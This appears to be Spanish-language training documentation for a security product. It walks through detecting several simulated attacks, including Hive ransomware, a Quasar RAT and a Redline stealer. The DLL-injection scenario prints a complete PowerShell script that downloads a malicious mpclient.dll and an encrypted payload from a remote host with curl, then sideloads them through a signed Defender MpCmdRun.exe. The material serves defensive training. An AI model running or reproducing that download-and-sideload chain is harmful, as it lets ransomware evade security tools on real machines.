# Escenarios
# Escenario de Capacitación - Inyección de DLL
## Nombre del Grupo
**Training Data - Dll Injection (Hive)**
## Escenario
En este escenario de capacitación, ejecutaremos una carga útil de ransomware cifrada mediante inyección de DLL en un MS Defender firmado. Se ha creado una DLL personalizada, tal como lo haría un atacante, que descifra un archivo .log falso y lo ejecuta.
Muchas herramientas de seguridad simplemente ignoran los procesos iniciados por un proceso padre firmado, particularmente un antivirus firmado, y aún más particularmente Defender. Los comandos de Defender no solo suelen estar permitidos, sino que a menudo tienen privilegios extremadamente altos. Aquí el comando que se convierte en arma es una actualización de firmas, algo que no solo es común, sino que sería ignorado en cualquier tipo de búsqueda de malware. Aquí demostramos que, incluso con técnicas simples de “vivir de la tierra” (living off the land), un atacante puede ejecutar cargas útiles privilegiadas mediante el uso de un script sencillo, sin necesidad de herramientas de inyección personalizadas en la máquina.
Aquí está el script exacto ejecutado en la máquina víctima. Observe cómo no ocurre nada explícitamente malicioso; copiar los ejecutables de Defender a un directorio de preparación se hace solo para resaltar los archivos de `C:\staging` en el análisis de causa raíz.
```
mkdir C:\staging
copy C:\Windows\WinSxS\amd64_windows-defender-service_31bf3856ad364e35_10.0.19041.746_none_a39f6d9ab59bd8b7\* C:\staging
move C:\staging\mpclient.dll C:\staging\realdll.dll; cd C:\staging
curl 169.254.247.102:8000/0x80004006.log -outfile 0x80004006.log; curl 169.254.247.102:8000/mpclient.dll -outfile mpclient.dll
./MpCmdRun.exe -SignatureUpdate
```
Analizándolo línea por línea:
1. Se crea el directorio de preparación
2. Defender se copia al directorio de preparación
3. El mpclient.dll real se renombra
4. El archivo “log” cifrado y la DLL maliciosa se descargan desde un servidor remoto
5. El MpCmdRun real y firmado se ejecuta con la tarea de actualización de firmas
MpCmdRun.exe## Identificándolo
Respuesta AutomatizadaComenzando con la respuesta automatizada, sonarían campanas de alarma en su mente. Un proceso que nunca se había visto antes, con un nombre de GUID aleatorio, se ejecutó y activó Cyber Crucible, y no está firmado. Sin embargo, observe que la ruta aquí podría fácilmente ser algo con un aspecto menos alarmante. Se dejó intencionalmente como C:\\staging para resaltarlo.
El siguiente paso inmediato sería encontrar ese archivo y averiguar cómo llegó allí. Probablemente haya sido eliminado automáticamente, pero podemos revisar las creaciones de procesos de Cyber Crucible para ver quién lo ejecutó originalmente.
Powershell → MpCmdRun → {7374F…}Tal como se describe en el escenario anterior, un script de PowerShell inició un ejecutable de Defender, que a su vez inició nuestro proceso alarmante. La carga útil del malware luego generó muchos procesos hijos para realizar diversas tareas de preparación. La visibilidad de estos procesos en segundo plano a menudo brinda información sobre archivos creados en el sistema, claves de registro modificadas, actividad de propagación (worming), etc.
De lo contrario, “comportamiento invisible”En este punto, el ataque ha sido contenido por Cyber Crucible, pero el análisis de los procesos relacionados es importante para determinar el alcance de los comportamientos maliciosos. La ejecución del ejecutable sin firmar por sí sola parece obvia cuando Cyber Crucible la presenta claramente, pero muchas veces los procesos en segundo plano iniciados por algo tan privilegiado y protegido como Defender simplemente serían ignorados.
## Documentación relevante
- [Mitre T1543](https://attack.mitre.org/techniques/T1543) - Crear o modificar un proceso del sistema puede disfrazar código malicioso como un proceso normal y confiable del sistema ante la detección de malware.
- [Mitre T1068](https://attack.mitre.org/techniques/T1068) - Realizar una escalada de privilegios mediante vulnerabilidades de software puede permitir que el código malicioso escape de las restricciones de permisos o de entornos virtualizados.
- [Mitre T1055-001](https://attack.mitre.org/techniques/T1055/001) - La inyección de DLL se puede utilizar para cargar código malicioso en un proceso, simplemente indicando al proceso objetivo que cargue una nueva DLL o reemplazando una DLL legítima antes de que se cargue.
- [Mitre T1059-001](https://attack.mitre.org/techniques/T1059/001) - El malware de Windows suele utilizar PowerShell para realizar la configuración del malware, como reemplazar archivos legítimos por archivos maliciosos.
# Escenario de Entrenamiento - Ransomware Vainilla
## Nombre del Grupo
**Datos de Entrenamiento - Ransomware Vainilla (Hive)**
## Escenario
En este escenario de entrenamiento, ejecutaremos una carga útil de ransomware ‘vainilla’, corriendo como administrador sin ningún exploit. Esto simula el ejemplo básico de un usuario que descarga malware a través de un enlace de phishing, USB malicioso, etc.
Aunque este es un método de ejecución muy simple, si la carga útil es un día cero, aún pasará desapercibida por los productos de seguridad basados en firmas, y podría causar daños irreparables antes de que los productos de comportamiento basados en la nube puedan obtener un análisis.
## Identificándolo
Respuesta AutomatizadaIdentificar este incidente es el más fácil de todas las muestras. Una vez que se ha notado el nombre de archivo sospechoso en un archivo sin firma, es una señal de alerta inmediata.
Para confirmar el método de ejecución, podemos examinar las creaciones de procesos alrededor del momento del incidente. Lo que vemos confirma que no hubo un método de exploit complejo, ¡ni siquiera un script! Como con otras muestras, las creaciones de procesos hijos son interesantes, sin embargo. Aunque el método de ejecución del malware en sí fue obvio, se inician muchos procesos en segundo plano que deshabilitan protecciones y otras configuraciones del sistema.
En este punto, el ataque ha sido contenido por Cyber Crucible, pero el análisis de los procesos relacionados es importante para encontrar el alcance de los comportamientos maliciosos. La ejecución del exe sin firmar por sí sola parece obvia cuando Cyber Crucible la expone, pero muchas veces los procesos en segundo plano iniciados por algo tan privilegiado y protegido como Defender simplemente serían ignorados.
## Documentación relevante
- [Mitre T1566](https://attack.mitre.org/techniques/T1566) - El phishing puede usarse para engañar a un usuario a realizar una acción que de otra manera no habría realizado, como ejecutar un script o compartir una contraseña.
- [Mitre T1091](https://attack.mitre.org/techniques/T1091) - El malware puede replicarse a sí mismo en medios extraíbles para que la próxima máquina que se conecte pueda ejecutarlo mediante autorun o vulnerabilidades de controladores.
- [Mitre T1204](https://attack.mitre.org/techniques/T1204) - La ejecución por parte del usuario, a menudo obtenida mediante phishing, es la forma más simple en que el malware puede comenzar a ejecutarse.
# Escenario de Entrenamiento - Ransomware Firmado
## Nombre del Grupo
**Datos de Entrenamiento - Ransomware Firmado (Hive)**
## Escenario
En este escenario de entrenamiento, ejecutaremos una carga útil de ransomware, corriendo como administrador, y con una firma personalizada. Este escenario no es muy diferente de la muestra ‘**vanilla**’, pero utiliza un ejecutable firmado.
Con frecuencia, los ejecutables firmados son tratados como si estuvieran verificados como benignos. Si bien es cierto que el software certificado *debería* estar todo firmado, esta no es una relación bidireccional, y no debemos confiar en las cosas *solo* porque estén firmadas. Desafortunadamente, a veces se comete ese error.
## Identificándolo
Además del hecho de que este nombre de certificado es un poco extraño para fines de entrenamiento, ¿cómo sabe Cyber Crucible que no es confiable? Cyber Crucible actúa con precaución y mantiene una lista (específica del grupo) de certificados de confianza. Esto significa que podemos detectar fácilmente certificados de prueba de firma, así como certificados oficiales de grandes CAs como digicerts.
Podemos ver arriba que aunque el archivo “321d0…” está firmado, sigue sin ser confiable. Dado que no se utilizan otras técnicas de ofuscación complejas para desplegar el ataque, ¡sabemos exactamente de dónde vino!
Para confirmar el método de ejecución, podemos examinar las creaciones de procesos alrededor del momento del incidente. Lo que vemos confirma que no hubo ningún método de explotación complejo, ¡ni siquiera un script! Al igual que con otras muestras, las creaciones de procesos hijos son interesantes, sin embargo. Aunque el método de ejecución del malware en sí mismo fue obvio, se inician muchos procesos en segundo plano que deshabilitan protecciones y otras configuraciones del sistema.
En este punto, el ataque ha sido contenido por Cyber Crucible, pero el análisis de los procesos relacionados es importante para encontrar el alcance de los comportamientos maliciosos. La ejecución del exe no firmado por sí sola parece obvia cuando es expuesta por Cyber Crucible, pero muchas veces los procesos en segundo plano iniciados por algo tan privilegiado y protegido como Defender simplemente serían ignorados.
## Documentación relevante
- [Mitre T1566](https://attack.mitre.org/techniques/T1566) - El phishing puede utilizarse para engañar a un usuario y hacer que realice una acción que de otro modo no habría llevado a cabo, como ejecutar un script o compartir una contraseña.
- [Mitre T1091](https://attack.mitre.org/techniques/T1091) - El malware puede replicarse a sí mismo en medios extraíbles para que la siguiente máquina que se conecte a ellos pueda ejecutarlo a través de la ejecución automática o vulnerabilidades de controladores.
- [Mitre T1204](https://attack.mitre.org/techniques/T1204) - La ejecución por parte del usuario, a menudo obtenida mediante phishing, es la forma más simple en que el malware comienza su ejecución.
- [Mitre T1587-002](https://attack.mitre.org/techniques/T1587/002) - Los certificados de firma de código son una forma en que una autoridad certifica el código de una aplicación. El malware puede generar un certificado que no proviene de ninguna autoridad certificadora, pero que puede confundir a un usuario haciéndole pensar que es legítimo.
- [Mitre T1587-003](https://attack.mitre.org/techniques/T1587/003) - Los certificados SSL se utilizan para garantizar que la transmisión de datos sea confiable. En un entorno mal configurado, el malware puede ser capaz de instalar su propio certificado SSL para facilitar ataques de intermediario (man in the middle).
# Escenario de Capacitación - Enumeración de Datos
## Nombre del Grupo
**Datos de Capacitación - Exfiltración mediante RAT (Quasar)**
## Escenario
En este escenario de capacitación, ejecutaremos un RAT en la máquina víctima y lo utilizaremos para enumerar los datos en disco, con el objetivo de exfiltrar archivos.
Si bien esto no es un ataque de ransomware, los comportamientos utilizados por el RAT se encuadran dentro de los comportamientos de extorsión de datos que Cyber Crucible detecta. La respuesta al incidente, y los datos relacionados, se parecen mucho a los de la respuesta a una carga útil de ransomware, ¡porque para Cyber Crucible todo es lo mismo!
## Identificándolo
Este ejecutable se ve un poco extraño, pero está en system32 y está desencadenando respuestas repetidas. Se requiere más investigación para descubrir qué sucedió aquí. Podemos comenzar buscando rutas secundarias relacionadas con la ruta de respuesta.
Aquí obtenemos más evidencia de la historia. Un usuario ejecutó client-build.exe desde el escritorio, que es el dropper del RAT. Luego, parece que se produce una escalada de privilegios a través de un svchost. Sin embargo, todavía faltan algunas piezas del rompecabezas. ¿Cómo sabemos que esto es un RAT y no simplemente algo interactuando con svchost?
¡Esto abre mucha más visibilidad! No solo sabemos con certeza que hay actividad sospechosa en curso, y qué rutas están relacionadas, sino que sabemos que también se está creando persistencia. E incluso vemos que estamos tratando con Quasar, un RAT muy conocido.
Quasar es un RAT sofisticado, y realiza la mayor parte de su comportamiento desde dentro de su propio ejecutable, optando por traer sus propias bibliotecas compiladas estáticamente en lugar de utilizar las utilidades predeterminadas de Windows para muchas cosas. Pero incluso Quasar es detectado utilizando herramientas como schtasks.
## Documentación relevante
- [Mitre T1566](https://attack.mitre.org/techniques/T1566) - El phishing puede utilizarse para engañar a un usuario para que realice una acción que de otro modo no habría llevado a cabo, como ejecutar un script o compartir una contraseña.
- [Mitre T1091](https://attack.mitre.org/techniques/T1091) - El malware puede replicarse a sí mismo en medios extraíbles para que la próxima máquina que se conecte a ellos pueda ejecutarlo mediante autorun o vulnerabilidades de controladores.
- [Mitre T1204](https://attack.mitre.org/techniques/T1204) - La ejecución por parte del usuario, a menudo obtenida mediante phishing, es la forma más sencilla en que el malware comienza su ejecución.
- [Mitre T1547](https://attack.mitre.org/techniques/T1547) - El malware puede indicarle a Windows que ejecute programas maliciosos al arrancar o cuando un usuario inicia sesión.
- [Mitre T1037](https://attack.mitre.org/techniques/T1037) - El malware puede indicarle a Windows que ejecute scripts maliciosos al arrancar o cuando un usuario inicia sesión.
- [Mitre T1543](https://attack.mitre.org/techniques/T1543) - Crear o modificar un proceso del sistema puede disfrazar código malicioso como un proceso del sistema normal y confiable, evitando así la detección de malware.
# Escenario de Capacitación - Inyección de Procesos
## Nombre del Grupo
**Datos de Capacitación - Inyección de Procesos (Hive)**
## Escenario
En este escenario de capacitación, ejecutaremos una carga útil de ransomware mediante inyección de procesos en un Svchost.exe que ya está en ejecución. El Svchost en cuestión es una operación normal del sistema, de larga duración, firmada, y bajo la cuenta de usuario LocalSystem.
Debido a que el Svchost es 'real', a menudo se pasa por alto. Los administradores saben que se ejecutan muchas instancias de Svchost, y mientras los argumentos del programa parezcan correctos, se trata como una "caja negra" y se deja en paz. Este es un vacío obvio, y frecuentemente explotado, que los hackers aprovechan. Combinado con una carga útil de día cero, este enfoque tiene mucho éxito para ofuscar ataques de ransomware.
## Identificándolo
Firmante(s) del certificado de svchost.exeLa situación en torno a esta respuesta automatizada no es evidente a primera vista. Los argumentos de la línea de comandos parecen válidos para Svchost, y el ejecutable está firmado por Microsoft.
El hecho de que exista un subproceso remoto no confiable es sospechoso, pero requiere más investigación. Muchos subprocesos remotos ocurren en un sistema, pero la mayoría permanecen "confiables" ya que se utilizan para la comunicación entre procesos normal, el uso compartido de datos, etc.
Cuando se crea un subproceso remoto en un proceso de manera anormal, y se marca como no confiable, es ahí donde debemos examinar con mayor detenimiento.
Inyecciones de procesos inocuas que ocurren normalmentePara poder clasificar las numerosas inyecciones de procesos que ocurren en un sistema en un momento dado, podemos referirnos tanto al momento del incidente como al pid del proceso marcado. Normalmente comenzaremos con algunos pids de respuestas sospechosas, y subiremos por la cadena de inyecciones y creación para obtener la historia completa.
Filtrando inyecciones irrelevantes¡La prueba irrefutable!Ya sabemos que nadie debería inyectar en Svchost de esta manera, ¡pero definitivamente no en este proceso! A partir de aquí podemos tratar este proceso como si fuera "malware.exe" y ver quién lo ejecutó, ya que alguien debió haberlo hecho.
Procesos iniciados con el pid 9168Dado que hubo dos creaciones de procesos con el pid 9168, y son muy diferentes, podemos reducir la búsqueda basándonos en la marca de tiempo y/o la ruta secundaria, y ver que fue creado por un explorer.exe. Esto significa que alguien ejecutó manualmente el proceso inyector, y no puede ser alguna coincidencia de un comportamiento de Svchost que fue marcado incorrectamente.
## Documentación relevante
- **Inyección de Procesos**
- [Mitre T1559](https://attack.mitre.org/techniques/T1559) - La comunicación entre procesos puede proporcionar control sobre el proceso objetivo desde el inyector una vez que la inyección se ha completado.
- [Mitre T1106](https://attack.mitre.org/techniques/T1106) - Las API nativas suelen ser el acceso más directo a la funcionalidad del sistema operativo para acceder a archivos, ejecutar procesos, y más.
- [Mitre T1569](https://attack.mitre.org/techniques/T1569) - Inyectar en un servicio del sistema como un svchost existente puede disfrazar código malicioso para que se reporte como ejecutándose desde un proceso conocido y confiable.
- [Mitre T1055](https://attack.mitre.org/techniques/T1055) - Inyección de procesos, generalmente utilizada para ejecutar código malicioso en un proceso objetivo mientras se permite que el proceso original continúe.
# Escenario de Entrenamiento - Modificación de Memoria
## Nombre del Grupo
**Datos de Entrenamiento - Process Hollowing SQL (Hive)**
## Escenario
En este escenario de entrenamiento, ejecutaremos una carga útil de ransomware mediante process hollowing, una técnica de inyección/evasión en la que se inicia un proceso y su código ejecutable es modificado para realizar algún otro comportamiento.
Las técnicas en memoria se encuentran entre las más difíciles de detectar, e incluso más difíciles de responder de forma automatizada, por lo que a menudo se ignoran. La memoria es, por definición, volátil y está en constante cambio. Identificar cambios dentro de la memoria de un proceso requiere identificar las secciones relevantes y evaluarlas en distintos momentos del ciclo de vida de un proceso para ver si ha sido manipulada.
## Identificándolo
Las respuestas de memoria modificada son, por mucho, las más difíciles de inspeccionar. Dado que la memoria es efímera, se trata como una “caja negra” y a menudo se mantiene a distancia. La buena noticia es que, a partir de Cyber Crucible 4.4.1.3, ahora tenemos la capacidad de recopilar automáticamente telemetría de muestras de memoria modificada, identificando qué rangos de memoria fueron modificados y los cambios exactos realizados en ellos.
Sin embargo, ese tipo de análisis es muy engorroso de realizar, por lo que un buen primer paso es revisar los procesos relacionados en el panel de control para hacerse una idea del comportamiento relacionado. Dado que el proceso en cuestión aquí es un SQLCMD.exe firmado, debería resultar rápidamente obvio si se trata de un proceso SQL benigno o de algo peor.
Hasta ahora todo bien, solo procesos SQL normales, nada necesariamente sospechoso ni tampoco no sospechoso. Aunque, nunca nos gusta ver CMDs involucrados en respuestas automatizadas. Vamos a investigar un poco más.
¡La prueba irrefutable!¡Y ahí está! Podemos seguir desplazándonos y ver cada vez más comportamientos como estos. El ejecutable SQLCMD está ejecutando todo tipo de comandos para deshabilitar servicios, cambiar configuraciones, y todo lo que un ransomware haría de manera preventiva.
Aquí podemos ver una pequeña idea de lo que nos espera cuando empezamos a profundizar y analizar las diferencias de memoria. La mayoría de las técnicas lo suficientemente sofisticadas como para ejecutar malware completamente en memoria también van a ofuscar su código en memoria. Esto hace que su análisis sea extremadamente difícil, pero el acceso a la telemetría adicional ya ha demostrado ser invaluable para la identificación de incidentes, así como para el ajuste de comportamientos
## Documentación relevante
- **Inyección de Procesos**
- [Mitre T1559](https://attack.mitre.org/techniques/T1559) - La comunicación entre procesos puede proporcionar control sobre el proceso objetivo desde el inyector una vez que se completa la inyección.
- [Mitre T1106](https://attack.mitre.org/techniques/T1106) - Las API nativas suelen ser el acceso más directo a la funcionalidad del sistema operativo para acceder a archivos, ejecutar procesos y más.
- [Mitre T1569](https://attack.mitre.org/techniques/T1569) - Inyectar en un servicio del sistema como un `svchost` existente puede disfrazar código malicioso para que se reporte como ejecutándose desde un proceso conocido y confiable.
- [Mitre T1055](https://attack.mitre.org/techniques/T1055) - Inyección de procesos, generalmente utilizada para ejecutar código malicioso en un proceso objetivo mientras se permite que el proceso original continúe.
- [Mitre T1543](https://attack.mitre.org/techniques/T1543) - Crear o modificar un proceso del sistema puede disfrazar código malicioso como un proceso del sistema normal y confiable ante la detección de malware.
# Escenario de Capacitación - Robo de Identidad
## Nombre del Grupo
**Datos de Capacitación - Robo de Identidad (Redline)**
## Escenario
En este escenario de capacitación, ejecutaremos un fragmento de malware “stealer” (ladrón de información) con el fin de llevar a cabo la primera etapa de un ataque: el robo de credenciales. A diferencia del escenario de **RAT**, este no utiliza los mismos comportamientos que el ransomware. En cambio, forma parte de las crecientes capacidades de protección de identidad de Cyber Crucible.
A menudo, antes de que ocurra siquiera una extorsión, los primeros pasos que realiza un atacante son propagarse por la red y obtener acceso a la mayor cantidad posible de credenciales. En algunos casos se trata de una combinación de usuario/contraseña de AD; en otros, son claves de API extraídas de sesiones del navegador.
## Identificándolo
Por ahora, profundicemos en cómo se ve un acceso anormal para el administrador.
Los accesos a datos de identidad son muy claros y directos: ¡si los administradores no reconocen un programa, este no debería estar accediendo a esos datos! Esto de inmediato resalta como algo sospechoso que está ocurriendo.
¿Cuál es el lado opuesto de esto que ve el atacante? ¡Texto plano!
Estas respuestas no son respuestas como los eventos tradicionales de extorsión de datos, por lo que no son acciones de suspensión automatizada. En cambio, se asemejan más a inyecciones de procesos, en las que Cyber Crucible no se interpuso. A medida que nuestros análisis han ido creciendo, hemos aprendido cómo se ve el acceso “normal” a los almacenes de identidad para varios tipos de aplicaciones. Para 2023 habilitaremos nuestra función de protección, que restringirá el acceso, a nivel del kernel, a diversas formas de bases de datos de identidad, permitiendo el acceso únicamente al software asociado.
## Documentación relevante
- **Inyección de Procesos**
- [Mitre T1559](https://attack.mitre.org/techniques/T1559) - La comunicación entre procesos (Inter-Process communication) puede proporcionar control sobre el proceso objetivo desde el inyector una vez que se completa la inyección.
- [Mitre T1106](https://attack.mitre.org/techniques/T1106) - Las API nativas suelen ser el acceso más directo a la funcionalidad del sistema operativo para acceder a archivos, procesos en ejecución y más.
- [Mitre T1569](https://attack.mitre.org/techniques/T1569) - Inyectar en un servicio del sistema, como un `svchost` existente, puede disfrazar el código malicioso para que se reporte como si estuviera ejecutándose desde un proceso conocido y confiable.
- [Mitre T1055](https://attack.mitre.org/techniques/T1055) - Inyección de procesos, generalmente utilizada para ejecutar código malicioso dentro de un proceso objetivo mientras se permite que el proceso original continúe.
- [Mitre T1543](https://attack.mitre.org/techniques/T1543) - Crear o modificar un proceso del sistema puede disfrazar el código malicioso como un proceso del sistema normal y confiable, evitando así la detección de malware.
- [Mitre T1555](https://attack.mitre.org/techniques/T1555) - Las credenciales almacenadas en gestores o navegadores sin cifrar pueden utilizarse para obtener acceso a datos privilegiados.
- [Mitre T1212](https://attack.mitre.org/techniques/T1212) - Las credenciales podrían ser robadas aprovechando software vulnerable que no cifra las credenciales ingresadas por un usuario.